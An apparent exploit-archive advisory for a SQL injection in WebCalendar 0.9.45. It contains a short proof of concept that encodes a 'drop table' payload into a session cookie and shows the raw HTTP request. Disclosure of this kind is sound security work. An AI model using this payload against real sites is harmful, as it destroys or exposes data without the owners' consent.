WebCalendar 0.9.45 - SQL Injection

Author: Michael Scovetta
type: webapps
platform: php
port: 
date_added: 2005-02-17 
date_updated: 2013-05-01 
verified: 1 
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source: https://www.securityfocus.com/bid/12581/info

WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected.

The vendor has addressed this issue in WebCalendar 1.0RC1 and later.

<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>

output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8

attack payload:
telnet example.com
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8